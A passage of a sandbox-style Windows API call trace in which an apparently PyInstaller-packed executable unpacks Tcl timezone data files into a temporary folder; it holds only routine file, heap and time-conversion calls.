lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.785] CloseHandle (hObject=0x10c) returned 1 [0042.785] GetLastError () returned 0x0 [0042.785] SetLastError (dwErrCode=0x0) [0042.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.786] GetFileType (hFile=0x10c) returned 0x1 [0042.786] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.786] CloseHandle (hObject=0x10c) returned 1 [0042.786] GetLastError () returned 0x0 [0042.786] SetLastError (dwErrCode=0x0) [0042.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia") returned 69 [0042.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\sofia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.786] GetLastError () returned 0x2 [0042.786] SetLastError (dwErrCode=0x2) [0042.786] GetLastError () returned 0x2 [0042.786] SetLastError (dwErrCode=0x2) [0042.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia", lpFilePart=0x0) returned 0x44 [0042.786] GetLastError () returned 0x2 [0042.786] SetLastError (dwErrCode=0x2) [0042.786] GetLastError () returned 0x2 [0042.786] SetLastError (dwErrCode=0x2) [0042.787] GetLastError () returned 0x2 [0042.787] SetLastError (dwErrCode=0x2) [0042.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia") returned 69 [0042.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Sofia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\sofia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.787] GetFileType (hFile=0x10c) returned 0x1 [0042.787] htonl (hostlong=0x11d0000) returned 0x1d01 [0042.787] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.788] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd01, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd01, lpOverlapped=0x0) returned 1 [0042.788] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.788] CloseHandle (hObject=0x10c) returned 1 [0042.788] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.788] htonl (hostlong=0x30000000) returned 0x30 [0042.788] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.788] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.788] GetFileType (hFile=0x10c) returned 0x1 [0042.788] htonl (hostlong=0xf18f5c00) returned 0x5c8ff1 [0042.788] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x613ff1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.789] htonl (hostlong=0xd8050000) returned 0x5d8 [0042.789] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d8) returned 0x550600 [0042.789] htonl (hostlong=0xd8050000) returned 0x5d8 [0042.789] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.789] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.789] htonl (hostlong=0x921b0000) returned 0x1b92 [0042.789] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b92) returned 0x561090 [0042.789] htonl (hostlong=0xd8050000) returned 0x5d8 [0042.789] htonl (hostlong=0x921b0000) returned 0x1b92 [0042.789] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c30 [0042.789] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c30 | out: hHeap=0x530000) returned 1 [0042.789] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.789] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.789] CloseHandle (hObject=0x10c) returned 1 [0042.789] GetLastError () returned 0x0 [0042.789] SetLastError (dwErrCode=0x0) [0042.789] GetLastError () returned 0x0 [0042.789] SetLastError (dwErrCode=0x0) [0042.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.789] GetFileType (hFile=0x10c) returned 0x1 [0042.789] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.789] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.789] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.789] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.789] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.789] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.790] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.790] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.790] CloseHandle (hObject=0x10c) returned 1 [0042.790] GetLastError () returned 0x0 [0042.790] SetLastError (dwErrCode=0x0) [0042.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.790] GetFileType (hFile=0x10c) returned 0x1 [0042.790] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.790] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.790] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.790] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.790] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.790] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.790] CloseHandle (hObject=0x10c) returned 1 [0042.790] GetLastError () returned 0x0 [0042.790] SetLastError (dwErrCode=0x0) [0042.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.790] GetFileType (hFile=0x10c) returned 0x1 [0042.790] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.791] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.791] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.791] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.791] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.791] CloseHandle (hObject=0x10c) returned 1 [0042.791] GetLastError () returned 0x0 [0042.791] SetLastError (dwErrCode=0x0) [0042.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm") returned 73 [0042.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\stockholm"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.791] GetLastError () returned 0x2 [0042.791] SetLastError (dwErrCode=0x2) [0042.791] GetLastError () returned 0x2 [0042.791] SetLastError (dwErrCode=0x2) [0042.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm", lpFilePart=0x0) returned 0x48 [0042.791] GetLastError () returned 0x2 [0042.791] SetLastError (dwErrCode=0x2) [0042.791] GetLastError () returned 0x2 [0042.791] SetLastError (dwErrCode=0x2) [0042.791] GetLastError () returned 0x2 [0042.791] SetLastError (dwErrCode=0x2) [0042.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm") returned 73 [0042.791] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Stockholm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\stockholm"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.792] GetFileType (hFile=0x10c) returned 0x1 [0042.792] htonl (hostlong=0x921b0000) returned 0x1b92 [0042.792] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.793] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.793] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb92, lpOverlapped=0x0) returned 1 [0042.793] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.793] CloseHandle (hObject=0x10c) returned 1 [0042.793] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.793] htonl (hostlong=0x30000000) returned 0x30 [0042.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.793] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.794] GetFileType (hFile=0x10c) returned 0x1 [0042.794] htonl (hostlong=0xc9955c00) returned 0x5c95c9 [0042.794] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6145c9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.794] htonl (hostlong=0x19060000) returned 0x619 [0042.794] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x619) returned 0x550600 [0042.800] htonl (hostlong=0x19060000) returned 0x619 [0042.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.800] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.800] htonl (hostlong=0x9a1c0000) returned 0x1c9a [0042.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c9a) returned 0x561090 [0042.800] htonl (hostlong=0x19060000) returned 0x619 [0042.800] htonl (hostlong=0x9a1c0000) returned 0x1c9a [0042.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d38 [0042.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d38 | out: hHeap=0x530000) returned 1 [0042.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.800] CloseHandle (hObject=0x10c) returned 1 [0042.800] GetLastError () returned 0x0 [0042.800] SetLastError (dwErrCode=0x0) [0042.801] GetLastError () returned 0x0 [0042.801] SetLastError (dwErrCode=0x0) [0042.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.801] GetFileType (hFile=0x10c) returned 0x1 [0042.801] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.801] CloseHandle (hObject=0x10c) returned 1 [0042.801] GetLastError () returned 0x0 [0042.801] SetLastError (dwErrCode=0x0) [0042.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.801] GetFileType (hFile=0x10c) returned 0x1 [0042.801] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.801] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.801] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.802] CloseHandle (hObject=0x10c) returned 1 [0042.802] GetLastError () returned 0x0 [0042.802] SetLastError (dwErrCode=0x0) [0042.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, 